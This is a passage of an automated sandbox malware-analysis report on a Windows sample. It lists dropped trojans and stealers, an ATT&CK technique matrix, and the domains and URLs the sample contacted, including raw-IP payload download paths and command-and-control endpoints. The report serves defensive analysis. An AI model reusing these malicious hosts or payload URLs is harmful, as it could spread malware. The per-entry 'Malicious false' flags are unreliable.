Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001BDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_001BDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	212 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	31 Obfuscated Files or Information	Security Account Manager	345 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	121 Software Packing	NTDS	1061 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	271 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	271 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	71%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	71%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://31.41.244.11/files/unique3/random.exeed	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe8	0%	Avira URL Cloud	safe
http://store.st	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exep)0G9	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/e	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe	100%	Avira URL Cloud	phishing
https://store.ste	0%	Avira URL Cloud	safe
https://deafeninggeh.biz/apij	100%	Avira URL Cloud	malware
https://wrathful-jammy.cyou/e	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe5	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe1S	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exes	0%	Avira URL Cloud	safe
http://31.41.244.11/files/kosodium/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe/	0%	Avira URL Cloud	safe
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex	0%	Avira URL Cloud	safe
https://store.sda	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe2	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exec61	0%	Avira URL Cloud	safe
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe613220	0%	Avira URL Cloud	safe
http://185.215.113.16/_0U9	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe8	0%	Avira URL Cloud	safe
http://185.215.113.16/ons	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe61395	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exec61395d7fM0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.121.10.34	true	false	high
home.fivetk5pn.top	104.154.220.71	true	false	high
immureprech.biz	178.62.201.34	true	false	high
deafeninggeh.biz	104.131.68.180	true	false	high
httpbin.org	98.85.100.80	true	false	high
sordid-snaked.cyou	unknown	unknown	false	high
diffuculttan.xyz	unknown	unknown	false	high
effecterectz.xyz	unknown	unknown	false	high
dare-curbys.biz	unknown	unknown	false	high
impend-differ.biz	unknown	unknown	false	high
zinc-sneark.biz	unknown	unknown	false	high
awake-weaves.cyou	unknown	unknown	false	high
wrathful-jammy.cyou	unknown	unknown	false	high
covery-mover.biz	unknown	unknown	false	high
formy-spill.biz	unknown	unknown	false	high
se-blurry.biz	unknown	unknown	false	high
print-vexer.biz	unknown	unknown	false	high
dwell-exclaim.biz	unknown	unknown	false	high
debonairnukk.xyz	unknown	unknown	false	high
drive-connect.cyou	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
deafeninggeh.biz	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
https://immureprech.biz/api	false	high
debonairnukk.xyz	false	high
diffuculttan.xyz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3298021674.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3298021674.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://steamcommunity.com/?subsection=broadcasts	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deafeninggeh.biz/	c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wrathful-jammy.cyou/api	c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe450	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wrathful-jammy.cyou/e	c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deafeninggeh.biz/apij	c1be3b2878.exe, 0000000C.00000003.2929840021.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2929663473.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exeed	skotes.exe, 00000006.00000002.3298021674.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exep)0G9	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.ste	c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/e	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe8	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wrathful-jammy.cyou/	c1be3b2878.exe, 0000000C.00000003.2967716699.0000000000972000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.0000000000973000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995347996.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe5	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.st	c1be3b2878.exe, 0000000C.00000002.2994959784.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe1S	skotes.exe, 00000006.00000002.3298021674.0000000000A08000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exes	skotes.exe, 00000006.00000002.3298021674.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/kosodium/random.exe	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive	c1be3b2878.exe, 0000000C.00000003.2978748350.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000002.2995481299.00000000009DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.000000000093B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	c1be3b2878.exe, 0000000C.00000003.2967716699.000000000095B000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2967716699.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3298021674.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	c1be3b2878.exe, 0000000C.00000003.2967583141.00000000009D6000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978715944.00000000009DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/as	c1be3b2878.exe, 0000000C.00000002.2995347996.00000000009CB000.00000004.00000020.00020000.00000000.sdmp, c1be3b2878.exe, 0000000C.00000003.2978815220.00000000009CB000.00000004.00000020.00020000.00000000.sdmp	false		high
